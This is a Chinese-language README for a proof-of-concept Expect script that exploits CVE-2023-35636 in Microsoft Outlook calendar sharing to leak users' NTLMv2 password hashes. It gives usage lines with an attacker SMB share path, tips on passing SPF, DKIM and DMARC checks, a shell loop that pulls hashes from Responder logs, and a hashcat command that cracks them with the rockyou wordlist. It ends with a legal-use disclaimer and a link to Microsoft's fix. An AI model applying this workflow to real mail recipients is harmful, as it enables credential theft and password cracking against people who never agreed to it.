CVE-2023-35636

Microsoft Outlook 信息泄露漏洞（泄露密码哈希） - Expect Script POC

CVE-2023-35636 是 Microsoft Outlook 日历共享功能的漏洞，通过在邮件中添加两个标头，可引导 Outlook 共享内容并连接指定机器，从而有机会截获 NTLM v2 哈希。

• 启动带有 SMB 服务器的 responder

• 发送邮件并等待（邮件收件人的防火墙必须允许 SMB（445）流量通过）

用法: ./cve-2023-35636.sh mx.fqdn port email_sender email_recipient smb_share

./cve-2023-35636.sh mail.mydomain.com 25 [email protected] [email protected] \\\\x.x.x.x\\mycalendar.ics (别忘了所有反斜杠)

注: chmod +x cve-2023-35636.sh

需要 expect 应用程序

需要合法的 IP 发送者和邮件发送者（以通过 SPF、DKIM、DMARC）

• 如果收件人用户点击小日历图标……BOOM！IP/用户（明文）和密码哈希（NTLM-v2-SSP）将发送到你的 responder IP

• 然后你可以尝试用 hashcat / John the Ripper 破解密码

for user in strings Responder-Session.log | grep "NTLMv2-SSP Hash" | cut -d ":" -f 4-6 | sort -u -f | awk '{$1=$1};1'

do

echo "[*] search for: $user";

strings Responder-Session.log | grep "NTLMv2-SSP Hash" | grep -i $user | cut -d ":" -f 4-10 | head -n 1 | awk '{$1=$1};1' >> ntlm-hashes.txt

done

hashcat -a 0 -m 5600 ntlm-hashes.txt rockyou.txt -o cracked.txt -O

---

致谢: https://www.varonis.com/blog/outlook-vulnerability-new-ways-to-leak-ntlm-hashes

解决方法 / 修复: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-35636

---

关于我 ;) https://www.linkedin.com/in/duy-huan-bui/

⚠️ 免责声明：重要：此脚本仅用于教育、道德测试及合法用途！未经明确许可，不得在任何系统或网络上使用。未经授权访问计算机系统和网络是违法行为，被发现进行未授权操作的用户将承担法律责任。作者不承担因滥用此脚本造成的任何损失。